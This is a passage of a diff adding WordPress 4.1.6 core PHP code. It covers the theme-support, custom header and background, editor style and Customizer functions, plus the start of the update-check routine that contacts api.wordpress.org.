+ * Display header image URL.
+ *
+ * @since 2.1.0
+ */
+function header_image() {
+	echo esc_url( get_header_image() );
+}
+
+/**
+ * Get the header images uploaded for the current theme.
+ *
+ * @since 3.2.0
+ *
+ * @return array
+ */
+function get_uploaded_header_images() {
+	$header_images = array();
+
+	// @todo caching
+	$headers = get_posts( array( 'post_type' => 'attachment', 'meta_key' => '_wp_attachment_is_custom_header', 'meta_value' => get_option('stylesheet'), 'orderby' => 'none', 'nopaging' => true ) );
+
+	if ( empty( $headers ) )
+		return array();
+
+	foreach ( (array) $headers as $header ) {
+		$url = esc_url_raw( wp_get_attachment_url( $header->ID ) );
+		$header_data = wp_get_attachment_metadata( $header->ID );
+		$header_index = basename($url);
+		$header_images[$header_index] = array();
+		$header_images[$header_index]['attachment_id'] =  $header->ID;
+		$header_images[$header_index]['url'] =  $url;
+		$header_images[$header_index]['thumbnail_url'] =  $url;
+		if ( isset( $header_data['width'] ) )
+			$header_images[$header_index]['width'] = $header_data['width'];
+		if ( isset( $header_data['height'] ) )
+			$header_images[$header_index]['height'] = $header_data['height'];
+	}
+
+	return $header_images;
+}
+
+/**
+ * Get the header image data.
+ *
+ * @since 3.4.0
+ *
+ * @return object
+ */
+function get_custom_header() {
+	global $_wp_default_headers;
+
+	if ( is_random_header_image() ) {
+		$data = _get_random_header_data();
+	} else {
+		$data = get_theme_mod( 'header_image_data' );
+		if ( ! $data && current_theme_supports( 'custom-header', 'default-image' ) ) {
+			$directory_args = array( get_template_directory_uri(), get_stylesheet_directory_uri() );
+			$data = array();
+			$data['url'] = $data['thumbnail_url'] = vsprintf( get_theme_support( 'custom-header', 'default-image' ), $directory_args );
+			if ( ! empty( $_wp_default_headers ) ) {
+				foreach ( (array) $_wp_default_headers as $default_header ) {
+					$url = vsprintf( $default_header['url'], $directory_args );
+					if ( $data['url'] == $url ) {
+						$data = $default_header;
+						$data['url'] = $url;
+						$data['thumbnail_url'] = vsprintf( $data['thumbnail_url'], $directory_args );
+						break;
+					}
+				}
+			}
+		}
+	}
+
+	$default = array(
+		'url'           => '',
+		'thumbnail_url' => '',
+		'width'         => get_theme_support( 'custom-header', 'width' ),
+		'height'        => get_theme_support( 'custom-header', 'height' ),
+	);
+	return (object) wp_parse_args( $data, $default );
+}
+
+/**
+ * Register a selection of default headers to be displayed by the custom header admin UI.
+ *
+ * @since 3.0.0
+ *
+ * @param array $headers Array of headers keyed by a string id. The ids point to arrays containing 'url', 'thumbnail_url', and 'description' keys.
+ */
+function register_default_headers( $headers ) {
+	global $_wp_default_headers;
+
+	$_wp_default_headers = array_merge( (array) $_wp_default_headers, (array) $headers );
+}
+
+/**
+ * Unregister default headers.
+ *
+ * This function must be called after register_default_headers() has already added the
+ * header you want to remove.
+ *
+ * @see register_default_headers()
+ * @since 3.0.0
+ *
+ * @param string|array $header The header string id (key of array) to remove, or an array thereof.
+ * @return bool|void A single header returns true on success, false on failure.
+ *                   There is currently no return value for multiple headers.
+ */
+function unregister_default_headers( $header ) {
+	global $_wp_default_headers;
+	if ( is_array( $header ) ) {
+		array_map( 'unregister_default_headers', $header );
+	} elseif ( isset( $_wp_default_headers[ $header ] ) ) {
+		unset( $_wp_default_headers[ $header ] );
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Retrieve background image for custom background.
+ *
+ * @since 3.0.0
+ *
+ * @return string
+ */
+function get_background_image() {
+	return get_theme_mod('background_image', get_theme_support( 'custom-background', 'default-image' ) );
+}
+
+/**
+ * Display background image path.
+ *
+ * @since 3.0.0
+ */
+function background_image() {
+	echo get_background_image();
+}
+
+/**
+ * Retrieve value for custom background color.
+ *
+ * @since 3.0.0
+ *
+ * @return string
+ */
+function get_background_color() {
+	return get_theme_mod('background_color', get_theme_support( 'custom-background', 'default-color' ) );
+}
+
+/**
+ * Display background color value.
+ *
+ * @since 3.0.0
+ */
+function background_color() {
+	echo get_background_color();
+}
+
+/**
+ * Default custom background callback.
+ *
+ * @since 3.0.0
+ * @access protected
+ */
+function _custom_background_cb() {
+	// $background is the saved custom image, or the default image.
+	$background = set_url_scheme( get_background_image() );
+
+	// $color is the saved custom color.
+	// A default has to be specified in style.css. It will not be printed here.
+	$color = get_background_color();
+
+	if ( $color === get_theme_support( 'custom-background', 'default-color' ) ) {
+		$color = false;
+	}
+
+	if ( ! $background && ! $color )
+		return;
+
+	$style = $color ? "background-color: #$color;" : '';
+
+	if ( $background ) {
+		$image = " background-image: url('$background');";
+
+		$repeat = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) );
+		if ( ! in_array( $repeat, array( 'no-repeat', 'repeat-x', 'repeat-y', 'repeat' ) ) )
+			$repeat = 'repeat';
+		$repeat = " background-repeat: $repeat;";
+
+		$position = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
+		if ( ! in_array( $position, array( 'center', 'right', 'left' ) ) )
+			$position = 'left';
+		$position = " background-position: top $position;";
+
+		$attachment = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) );
+		if ( ! in_array( $attachment, array( 'fixed', 'scroll' ) ) )
+			$attachment = 'scroll';
+		$attachment = " background-attachment: $attachment;";
+
+		$style .= $image . $repeat . $position . $attachment;
+	}
+?>
+<style type="text/css" id="custom-background-css">
+body.custom-background { <?php echo trim( $style ); ?> }
+</style>
+<?php
+}
+
+/**
+ * Add callback for custom TinyMCE editor stylesheets.
+ *
+ * The parameter $stylesheet is the name of the stylesheet, relative to
+ * the theme root. It also accepts an array of stylesheets.
+ * It is optional and defaults to 'editor-style.css'.
+ *
+ * This function automatically adds another stylesheet with -rtl prefix, e.g. editor-style-rtl.css.
+ * If that file doesn't exist, it is removed before adding the stylesheet(s) to TinyMCE.
+ * If an array of stylesheets is passed to add_editor_style(),
+ * RTL is only added for the first stylesheet.
+ *
+ * Since version 3.4 the TinyMCE body has .rtl CSS class.
+ * It is a better option to use that class and add any RTL styles to the main stylesheet.
+ *
+ * @since 3.0.0
+ *
+ * @param array|string $stylesheet Optional. Stylesheet name or array thereof, relative to theme root.
+ * 	Defaults to 'editor-style.css'
+ */
+function add_editor_style( $stylesheet = 'editor-style.css' ) {
+
+	add_theme_support( 'editor-style' );
+
+	if ( ! is_admin() )
+		return;
+
+	global $editor_styles;
+	$editor_styles = (array) $editor_styles;
+	$stylesheet    = (array) $stylesheet;
+	if ( is_rtl() ) {
+		$rtl_stylesheet = str_replace('.css', '-rtl.css', $stylesheet[0]);
+		$stylesheet[] = $rtl_stylesheet;
+	}
+
+	$editor_styles = array_merge( $editor_styles, $stylesheet );
+}
+
+/**
+ * Removes all visual editor stylesheets.
+ *
+ * @since 3.1.0
+ *
+ * @return bool True on success, false if there were no stylesheets to remove.
+ */
+function remove_editor_styles() {
+	if ( ! current_theme_supports( 'editor-style' ) )
+		return false;
+	_remove_theme_support( 'editor-style' );
+	if ( is_admin() )
+		$GLOBALS['editor_styles'] = array();
+	return true;
+}
+
+/**
+ * Retrieve any registered editor stylesheets
+ *
+ * @since 4.0.0
+ *
+ * @global $editor_styles Registered editor stylesheets
+ *
+ * @return array If registered, a list of editor stylesheet URLs.
+ */
+function get_editor_stylesheets() {
+	$stylesheets = array();
+	// load editor_style.css if the current theme supports it
+	if ( ! empty( $GLOBALS['editor_styles'] ) && is_array( $GLOBALS['editor_styles'] ) ) {
+		$editor_styles = $GLOBALS['editor_styles'];
+
+		$editor_styles = array_unique( array_filter( $editor_styles ) );
+		$style_uri = get_stylesheet_directory_uri();
+		$style_dir = get_stylesheet_directory();
+
+		// Support externally referenced styles (like, say, fonts).
+		foreach ( $editor_styles as $key => $file ) {
+			if ( preg_match( '~^(https?:)?//~', $file ) ) {
+				$stylesheets[] = esc_url_raw( $file );
+				unset( $editor_styles[ $key ] );
+			}
+		}
+
+		// Look in a parent theme first, that way child theme CSS overrides.
+		if ( is_child_theme() ) {
+			$template_uri = get_template_directory_uri();
+			$template_dir = get_template_directory();
+
+			foreach ( $editor_styles as $key => $file ) {
+				if ( $file && file_exists( "$template_dir/$file" ) ) {
+					$stylesheets[] = "$template_uri/$file";
+				}
+			}
+		}
+
+		foreach ( $editor_styles as $file ) {
+			if ( $file && file_exists( "$style_dir/$file" ) ) {
+				$stylesheets[] = "$style_uri/$file";
+			}
+		}
+	}
+	return $stylesheets;
+}
+
+/**
+ * Allows a theme to register its support of a certain feature
+ *
+ * Must be called in the theme's functions.php file to work.
+ * If attached to a hook, it must be after_setup_theme.
+ * The init hook may be too late for some features.
+ *
+ * @since 2.9.0
+ *
+ * @param string $feature The feature being added.
+ * @return void|bool False on failure, void otherwise.
+ */
+function add_theme_support( $feature ) {
+	global $_wp_theme_features;
+
+	if ( func_num_args() == 1 )
+		$args = true;
+	else
+		$args = array_slice( func_get_args(), 1 );
+
+	switch ( $feature ) {
+		case 'post-formats' :
+			if ( is_array( $args[0] ) ) {
+				$post_formats = get_post_format_slugs();
+				unset( $post_formats['standard'] );
+
+				$args[0] = array_intersect( $args[0], array_keys( $post_formats ) );
+			}
+			break;
+
+		case 'html5' :
+			// You can't just pass 'html5', you need to pass an array of types.
+			if ( empty( $args[0] ) ) {
+				// Build an array of types for back-compat.
+				$args = array( 0 => array( 'comment-list', 'comment-form', 'search-form' ) );
+			} elseif ( ! is_array( $args[0] ) ) {
+				_doing_it_wrong( "add_theme_support( 'html5' )", __( 'You need to pass an array of types.' ), '3.6.1' );
+				return false;
+			}
+
+			// Calling 'html5' again merges, rather than overwrites.
+			if ( isset( $_wp_theme_features['html5'] ) )
+				$args[0] = array_merge( $_wp_theme_features['html5'][0], $args[0] );
+			break;
+
+		case 'custom-header-uploads' :
+			return add_theme_support( 'custom-header', array( 'uploads' => true ) );
+
+		case 'custom-header' :
+			if ( ! is_array( $args ) )
+				$args = array( 0 => array() );
+
+			$defaults = array(
+				'default-image' => '',
+				'random-default' => false,
+				'width' => 0,
+				'height' => 0,
+				'flex-height' => false,
+				'flex-width' => false,
+				'default-text-color' => '',
+				'header-text' => true,
+				'uploads' => true,
+				'wp-head-callback' => '',
+				'admin-head-callback' => '',
+				'admin-preview-callback' => '',
+			);
+
+			$jit = isset( $args[0]['__jit'] );
+			unset( $args[0]['__jit'] );
+
+			// Merge in data from previous add_theme_support() calls.
+			// The first value registered wins. (A child theme is set up first.)
+			if ( isset( $_wp_theme_features['custom-header'] ) )
+				$args[0] = wp_parse_args( $_wp_theme_features['custom-header'][0], $args[0] );
+
+			// Load in the defaults at the end, as we need to insure first one wins.
+			// This will cause all constants to be defined, as each arg will then be set to the default.
+			if ( $jit )
+				$args[0] = wp_parse_args( $args[0], $defaults );
+
+			// If a constant was defined, use that value. Otherwise, define the constant to ensure
+			// the constant is always accurate (and is not defined later,  overriding our value).
+			// As stated above, the first value wins.
+			// Once we get to wp_loaded (just-in-time), define any constants we haven't already.
+			// Constants are lame. Don't reference them. This is just for backwards compatibility.
+
+			if ( defined( 'NO_HEADER_TEXT' ) )
+				$args[0]['header-text'] = ! NO_HEADER_TEXT;
+			elseif ( isset( $args[0]['header-text'] ) )
+				define( 'NO_HEADER_TEXT', empty( $args[0]['header-text'] ) );
+
+			if ( defined( 'HEADER_IMAGE_WIDTH' ) )
+				$args[0]['width'] = (int) HEADER_IMAGE_WIDTH;
+			elseif ( isset( $args[0]['width'] ) )
+				define( 'HEADER_IMAGE_WIDTH', (int) $args[0]['width'] );
+
+			if ( defined( 'HEADER_IMAGE_HEIGHT' ) )
+				$args[0]['height'] = (int) HEADER_IMAGE_HEIGHT;
+			elseif ( isset( $args[0]['height'] ) )
+				define( 'HEADER_IMAGE_HEIGHT', (int) $args[0]['height'] );
+
+			if ( defined( 'HEADER_TEXTCOLOR' ) )
+				$args[0]['default-text-color'] = HEADER_TEXTCOLOR;
+			elseif ( isset( $args[0]['default-text-color'] ) )
+				define( 'HEADER_TEXTCOLOR', $args[0]['default-text-color'] );
+
+			if ( defined( 'HEADER_IMAGE' ) )
+				$args[0]['default-image'] = HEADER_IMAGE;
+			elseif ( isset( $args[0]['default-image'] ) )
+				define( 'HEADER_IMAGE', $args[0]['default-image'] );
+
+			if ( $jit && ! empty( $args[0]['default-image'] ) )
+				$args[0]['random-default'] = false;
+
+			// If headers are supported, and we still don't have a defined width or height,
+			// we have implicit flex sizes.
+			if ( $jit ) {
+				if ( empty( $args[0]['width'] ) && empty( $args[0]['flex-width'] ) )
+					$args[0]['flex-width'] = true;
+				if ( empty( $args[0]['height'] ) && empty( $args[0]['flex-height'] ) )
+					$args[0]['flex-height'] = true;
+			}
+
+			break;
+
+		case 'custom-background' :
+			if ( ! is_array( $args ) )
+				$args = array( 0 => array() );
+
+			$defaults = array(
+				'default-image'          => '',
+				'default-repeat'         => 'repeat',
+				'default-position-x'     => 'left',
+				'default-attachment'     => 'scroll',
+				'default-color'          => '',
+				'wp-head-callback'       => '_custom_background_cb',
+				'admin-head-callback'    => '',
+				'admin-preview-callback' => '',
+			);
+
+			$jit = isset( $args[0]['__jit'] );
+			unset( $args[0]['__jit'] );
+
+			// Merge in data from previous add_theme_support() calls. The first value registered wins.
+			if ( isset( $_wp_theme_features['custom-background'] ) )
+				$args[0] = wp_parse_args( $_wp_theme_features['custom-background'][0], $args[0] );
+
+			if ( $jit )
+				$args[0] = wp_parse_args( $args[0], $defaults );
+
+			if ( defined( 'BACKGROUND_COLOR' ) )
+				$args[0]['default-color'] = BACKGROUND_COLOR;
+			elseif ( isset( $args[0]['default-color'] ) || $jit )
+				define( 'BACKGROUND_COLOR', $args[0]['default-color'] );
+
+			if ( defined( 'BACKGROUND_IMAGE' ) )
+				$args[0]['default-image'] = BACKGROUND_IMAGE;
+			elseif ( isset( $args[0]['default-image'] ) || $jit )
+				define( 'BACKGROUND_IMAGE', $args[0]['default-image'] );
+
+			break;
+
+		// Ensure that 'title-tag' is accessible in the admin.
+		case 'title-tag' :
+			// Can be called in functions.php but must happen before wp_loaded, i.e. not in header.php.
+			if ( did_action( 'wp_loaded' ) ) {
+				/* translators: 1: Theme support 2: hook name */
+				_doing_it_wrong( "add_theme_support( 'title-tag' )", sprintf( __( 'Theme support for %1$s should be registered before the %2$s hook.' ),
+					'<code>title-tag</code>', '<code>wp_loaded</code>' ), '4.1' );
+
+				return false;
+			}
+	}
+
+	$_wp_theme_features[ $feature ] = $args;
+}
+
+/**
+ * Registers the internal custom header and background routines.
+ *
+ * @since 3.4.0
+ * @access private
+ */
+function _custom_header_background_just_in_time() {
+	global $custom_image_header, $custom_background;
+
+	if ( current_theme_supports( 'custom-header' ) ) {
+		// In case any constants were defined after an add_custom_image_header() call, re-run.
+		add_theme_support( 'custom-header', array( '__jit' => true ) );
+
+		$args = get_theme_support( 'custom-header' );
+		if ( $args[0]['wp-head-callback'] )
+			add_action( 'wp_head', $args[0]['wp-head-callback'] );
+
+		if ( is_admin() ) {
+			require_once( ABSPATH . 'wp-admin/custom-header.php' );
+			$custom_image_header = new Custom_Image_Header( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] );
+		}
+	}
+
+	if ( current_theme_supports( 'custom-background' ) ) {
+		// In case any constants were defined after an add_custom_background() call, re-run.
+		add_theme_support( 'custom-background', array( '__jit' => true ) );
+
+		$args = get_theme_support( 'custom-background' );
+		add_action( 'wp_head', $args[0]['wp-head-callback'] );
+
+		if ( is_admin() ) {
+			require_once( ABSPATH . 'wp-admin/custom-background.php' );
+			$custom_background = new Custom_Background( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] );
+		}
+	}
+}
+add_action( 'wp_loaded', '_custom_header_background_just_in_time' );
+
+/**
+ * Gets the theme support arguments passed when registering that support
+ *
+ * @since 3.1.0
+ *
+ * @param string $feature the feature to check
+ * @return mixed The array of extra arguments or the value for the registered feature.
+ */
+function get_theme_support( $feature ) {
+	global $_wp_theme_features;
+	if ( ! isset( $_wp_theme_features[ $feature ] ) )
+		return false;
+
+	if ( func_num_args() <= 1 )
+		return $_wp_theme_features[ $feature ];
+
+	$args = array_slice( func_get_args(), 1 );
+	switch ( $feature ) {
+		case 'custom-header' :
+		case 'custom-background' :
+			if ( isset( $_wp_theme_features[ $feature ][0][ $args[0] ] ) )
+				return $_wp_theme_features[ $feature ][0][ $args[0] ];
+			return false;
+
+		default :
+			return $_wp_theme_features[ $feature ];
+	}
+}
+
+/**
+ * Allows a theme to de-register its support of a certain feature
+ *
+ * Should be called in the theme's functions.php file. Generally would
+ * be used for child themes to override support from the parent theme.
+ *
+ * @since 3.0.0
+ * @see add_theme_support()
+ * @param string $feature the feature being added
+ * @return null|bool Whether feature was removed.
+ */
+function remove_theme_support( $feature ) {
+	// Blacklist: for internal registrations not used directly by themes.
+	if ( in_array( $feature, array( 'editor-style', 'widgets', 'menus' ) ) )
+		return false;
+
+	return _remove_theme_support( $feature );
+}
+
+/**
+ * Do not use. Removes theme support internally, ignorant of the blacklist.
+ *
+ * @access private
+ * @since 3.1.0
+ * @param string $feature
+ */
+function _remove_theme_support( $feature ) {
+	global $_wp_theme_features;
+
+	switch ( $feature ) {
+		case 'custom-header-uploads' :
+			if ( ! isset( $_wp_theme_features['custom-header'] ) )
+				return false;
+			add_theme_support( 'custom-header', array( 'uploads' => false ) );
+			return; // Do not continue - custom-header-uploads no longer exists.
+	}
+
+	if ( ! isset( $_wp_theme_features[ $feature ] ) )
+		return false;
+
+	switch ( $feature ) {
+		case 'custom-header' :
+			if ( ! did_action( 'wp_loaded' ) )
+				break;
+			$support = get_theme_support( 'custom-header' );
+			if ( $support[0]['wp-head-callback'] )
+				remove_action( 'wp_head', $support[0]['wp-head-callback'] );
+			remove_action( 'admin_menu', array( $GLOBALS['custom_image_header'], 'init' ) );
+			unset( $GLOBALS['custom_image_header'] );
+			break;
+
+		case 'custom-background' :
+			if ( ! did_action( 'wp_loaded' ) )
+				break;
+			$support = get_theme_support( 'custom-background' );
+			remove_action( 'wp_head', $support[0]['wp-head-callback'] );
+			remove_action( 'admin_menu', array( $GLOBALS['custom_background'], 'init' ) );
+			unset( $GLOBALS['custom_background'] );
+			break;
+	}
+
+	unset( $_wp_theme_features[ $feature ] );
+	return true;
+}
+
+/**
+ * Checks a theme's support for a given feature
+ *
+ * @since 2.9.0
+ * @param string $feature the feature being checked
+ * @return boolean
+ */
+function current_theme_supports( $feature ) {
+	global $_wp_theme_features;
+
+	if ( 'custom-header-uploads' == $feature )
+		return current_theme_supports( 'custom-header', 'uploads' );
+
+	if ( !isset( $_wp_theme_features[$feature] ) )
+		return false;
+
+	if ( 'title-tag' == $feature ) {
+		// Don't confirm support unless called internally.
+		$trace = debug_backtrace();
+		if ( ! in_array( $trace[1]['function'], array( '_wp_render_title_tag', 'wp_title' ) ) ) {
+			return false;
+		}
+	}
+
+	// If no args passed then no extra checks need be performed
+	if ( func_num_args() <= 1 )
+		return true;
+
+	$args = array_slice( func_get_args(), 1 );
+
+	switch ( $feature ) {
+		case 'post-thumbnails':
+			// post-thumbnails can be registered for only certain content/post types by passing
+			// an array of types to add_theme_support(). If no array was passed, then
+			// any type is accepted
+			if ( true === $_wp_theme_features[$feature] )  // Registered for all types
+				return true;
+			$content_type = $args[0];
+			return in_array( $content_type, $_wp_theme_features[$feature][0] );
+
+		case 'html5':
+		case 'post-formats':
+			// specific post formats can be registered by passing an array of types to
+			// add_theme_support()
+
+			// Specific areas of HTML5 support *must* be passed via an array to add_theme_support()
+
+			$type = $args[0];
+			return in_array( $type, $_wp_theme_features[$feature][0] );
+
+		case 'custom-header':
+		case 'custom-background' :
+			// specific custom header and background capabilities can be registered by passing
+			// an array to add_theme_support()
+			$header_support = $args[0];
+			return ( isset( $_wp_theme_features[$feature][0][$header_support] ) && $_wp_theme_features[$feature][0][$header_support] );
+	}
+
+	/**
+	 * Filter whether the current theme supports a specific feature.
+	 *
+	 * The dynamic portion of the hook name, `$feature`, refers to the specific theme
+	 * feature. Possible values include 'post-formats', 'post-thumbnails', 'custom-background',
+	 * 'custom-header', 'menus', 'automatic-feed-links', and 'html5'.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param bool   true     Whether the current theme supports the given feature. Default true.
+	 * @param array  $args    Array of arguments for the feature.
+	 * @param string $feature The theme feature.
+	 */
+	return apply_filters( "current_theme_supports-{$feature}", true, $args, $_wp_theme_features[$feature] );
+}
+
+/**
+ * Checks a theme's support for a given feature before loading the functions which implement it.
+ *
+ * @since 2.9.0
+ *
+ * @param string $feature The feature being checked.
+ * @param string $include Path to the file.
+ * @return bool True if the current theme supports the supplied feature, false otherwise.
+ */
+function require_if_theme_supports( $feature, $include ) {
+	if ( current_theme_supports( $feature ) ) {
+		require ( $include );
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Checks an attachment being deleted to see if it's a header or background image.
+ *
+ * If true it removes the theme modification which would be pointing at the deleted
+ * attachment
+ *
+ * @access private
+ * @since 3.0.0
+ * @param int $id the attachment id
+ */
+function _delete_attachment_theme_mod( $id ) {
+	$attachment_image = wp_get_attachment_url( $id );
+	$header_image = get_header_image();
+	$background_image = get_background_image();
+
+	if ( $header_image && $header_image == $attachment_image )
+		remove_theme_mod( 'header_image' );
+
+	if ( $background_image && $background_image == $attachment_image )
+		remove_theme_mod( 'background_image' );
+}
+
+add_action( 'delete_attachment', '_delete_attachment_theme_mod' );
+
+/**
+ * Checks if a theme has been changed and runs 'after_switch_theme' hook on the next WP load
+ *
+ * @since 3.3.0
+ */
+function check_theme_switched() {
+	if ( $stylesheet = get_option( 'theme_switched' ) ) {
+		$old_theme = wp_get_theme( $stylesheet );
+
+		// Prevent retrieve_widgets() from running since Customizer already called it up front
+		if ( get_option( 'theme_switched_via_customizer' ) ) {
+			remove_action( 'after_switch_theme', '_wp_sidebars_changed' );
+			update_option( 'theme_switched_via_customizer', false );
+		}
+
+		if ( $old_theme->exists() ) {
+			/**
+			 * Fires on the first WP load after a theme switch if the old theme still exists.
+			 *
+			 * This action fires multiple times and the parameters differs
+			 * according to the context, if the old theme exists or not.
+			 * If the old theme is missing, the parameter will be the slug
+			 * of the old theme.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param string   $old_name  Old theme name.
+			 * @param WP_Theme $old_theme WP_Theme instance of the old theme.
+			 */
+			do_action( 'after_switch_theme', $old_theme->get( 'Name' ), $old_theme );
+		} else {
+			/** This action is documented in wp-includes/theme.php */
+			do_action( 'after_switch_theme', $stylesheet );
+		}
+
+		update_option( 'theme_switched', false );
+	}
+}
+
+/**
+ * Includes and instantiates the WP_Customize_Manager class.
+ *
+ * Fires when ?wp_customize=on or on wp-admin/customize.php.
+ *
+ * @since 3.4.0
+ */
+function _wp_customize_include() {
+	if ( ! ( ( isset( $_REQUEST['wp_customize'] ) && 'on' == $_REQUEST['wp_customize'] )
+		|| ( is_admin() && 'customize.php' == basename( $_SERVER['PHP_SELF'] ) )
+	) )
+		return;
+
+	require( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+	// Init Customize class
+	$GLOBALS['wp_customize'] = new WP_Customize_Manager;
+}
+add_action( 'plugins_loaded', '_wp_customize_include' );
+
+/**
+ * Adds settings for the customize-loader script.
+ *
+ * @since 3.4.0
+ */
+function _wp_customize_loader_settings() {
+	global $wp_scripts;
+
+	$admin_origin = parse_url( admin_url() );
+	$home_origin  = parse_url( home_url() );
+	$cross_domain = ( strtolower( $admin_origin[ 'host' ] ) != strtolower( $home_origin[ 'host' ] ) );
+
+	$browser = array(
+		'mobile' => wp_is_mobile(),
+		'ios'    => wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] ),
+	);
+
+	$settings = array(
+		'url'           => esc_url( admin_url( 'customize.php' ) ),
+		'isCrossDomain' => $cross_domain,
+		'browser'       => $browser,
+		'l10n'          => array(
+			'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ),
+		),
+	);
+
+	$script = 'var _wpCustomizeLoaderSettings = ' . wp_json_encode( $settings ) . ';';
+
+	$data = $wp_scripts->get_data( 'customize-loader', 'data' );
+	if ( $data )
+		$script = "$data\n$script";
+
+	$wp_scripts->add_data( 'customize-loader', 'data', $script );
+}
+add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' );
+
+/**
+ * Returns a URL to load the Customizer.
+ *
+ * @since 3.4.0
+ *
+ * @param string $stylesheet Optional. Theme to customize. Defaults to current theme.
+ * 	The theme's stylesheet will be urlencoded if necessary.
+ */
+function wp_customize_url( $stylesheet = null ) {
+	$url = admin_url( 'customize.php' );
+	if ( $stylesheet )
+		$url .= '?theme=' . urlencode( $stylesheet );
+	return esc_url( $url );
+}
+
+/**
+ * Prints a script to check whether or not the Customizer is supported,
+ * and apply either the no-customize-support or customize-support class
+ * to the body.
+ *
+ * This function MUST be called inside the body tag.
+ *
+ * Ideally, call this function immediately after the body tag is opened.
+ * This prevents a flash of unstyled content.
+ *
+ * It is also recommended that you add the "no-customize-support" class
+ * to the body tag by default.
+ *
+ * @since 3.4.0
+ */
+function wp_customize_support_script() {
+	$admin_origin = parse_url( admin_url() );
+	$home_origin  = parse_url( home_url() );
+	$cross_domain = ( strtolower( $admin_origin[ 'host' ] ) != strtolower( $home_origin[ 'host' ] ) );
+
+	?>
+	<script type="text/javascript">
+		(function() {
+			var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
+
+<?php		if ( $cross_domain ): ?>
+			request = (function(){ var xhr = new XMLHttpRequest(); return ('withCredentials' in xhr); })();
+<?php		else: ?>
+			request = true;
+<?php		endif; ?>
+
+			b[c] = b[c].replace( rcs, ' ' );
+			b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
+		}());
+	</script>
+	<?php
+}
+
+/**
+ * Whether the site is being previewed in the Customizer.
+ *
+ * @since 4.0.0
+ *
+ * @global WP_Customize_Manager $wp_customize Customizer instance.
+ *
+ * @return bool True if the site is being previewed in the Customizer, false otherwise.
+ */
+function is_customize_preview() {
+	global $wp_customize;
+
+	return is_a( $wp_customize, 'WP_Customize_Manager' ) && $wp_customize->is_preview();
+}
Index: /tags/4.1.6/src/wp-includes/update.php
===================================================================
--- /tags/4.1.6/src/wp-includes/update.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/update.php	(revision 33402)
@@ -0,0 +1,693 @@
+<?php
+/**
+ * A simple set of functions to check our version 1.0 update service.
+ *
+ * @package WordPress
+ * @since 2.3.0
+ */
+
+/**
+ * Check WordPress version against the newest version.
+ *
+ * The WordPress version, PHP version, and Locale is sent. Checks against the
+ * WordPress server at api.wordpress.org server. Will only check if WordPress
+ * isn't installing.
+ *
+ * @since 2.3.0
+ * @uses $wp_version Used to check against the newest WordPress version.
+ *
+ * @param array $extra_stats Extra statistics to report to the WordPress.org API.
+ * @param bool $force_check Whether to bypass the transient cache and force a fresh update check. Defaults to false, true if $extra_stats is set.
+ * @return null|false Returns null if update is unsupported. Returns false if check is too soon.
+ */
+function wp_version_check( $extra_stats = array(), $force_check = false ) {
+	if ( defined('WP_INSTALLING') )
+		return;
+
+	global $wpdb, $wp_local_package;
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+	$php_version = phpversion();
+
+	$current = get_site_transient( 'update_core' );
+	$translations = wp_get_installed_translations( 'core' );
+
+	// Invalidate the transient when $wp_version changes
+	if ( is_object( $current ) && $wp_version != $current->version_checked )
+		$current = false;
+
+	if ( ! is_object($current) ) {
+		$current = new stdClass;
+		$current->updates = array();
+		$current->version_checked = $wp_version;
+	}
+
+	if ( ! empty( $extra_stats ) )
+		$force_check = true;
+
+	// Wait 60 seconds between multiple version check requests
+	$timeout = 60;
+	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );
+	if ( ! $force_check && $time_not_changed )
+		return false;
+
+	$locale = get_locale();
+	/**
+	 * Filter the locale requested for WordPress core translations.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $locale Current locale.
+	 */
+	$locale = apply_filters( 'core_version_check_locale', $locale );
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$current->last_checked = time();
+	set_site_transient( 'update_core', $current );
+
+	if ( method_exists( $wpdb, 'db_version' ) )
+		$mysql_version = preg_replace('/[^0-9.].*/', '', $wpdb->db_version());
+	else
+		$mysql_version = 'N/A';
+
+	if ( is_multisite() ) {
+		$user_count = get_user_count();
+		$num_blogs = get_blog_count();
+		$wp_install = network_site_url();
+		$multisite_enabled = 1;
+	} else {
+		$user_count = count_users();
+		$user_count = $user_count['total_users'];
+		$multisite_enabled = 0;
+		$num_blogs = 1;
+		$wp_install = home_url( '/' );
+	}
+
+	$query = array(
+		'version'           => $wp_version,
+		'php'               => $php_version,
+		'locale'            => $locale,
+		'mysql'             => $mysql_version,
+		'local_package'     => isset( $wp_local_package ) ? $wp_local_package : '',
+		'blogs'             => $num_blogs,
+		'users'             => $user_count,
+		'multisite_enabled' => $multisite_enabled,
+	);
+
+	$post_body = array(
+		'translations' => wp_json_encode( $translations ),
+	);
+
+	if ( is_array( $extra_stats ) )
+		$post_body = array_merge( $post_body, $extra_stats );
+
+	$url = $http_url = 'http://api.wordpress.org/core/version-check/1.7/?' . http_build_query( $query, null, '&' );
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$options = array(
+		'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3 ),
+		'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
+		'headers' => array(
+			'wp_install' => $wp_install,
+			'wp_blog' => home_url( '/' )
+		),
+		'body' => $post_body,
+	);
+
+	$response = wp_remote_post( $url, $options );
+	if ( $ssl && is_wp_error( $response ) ) {
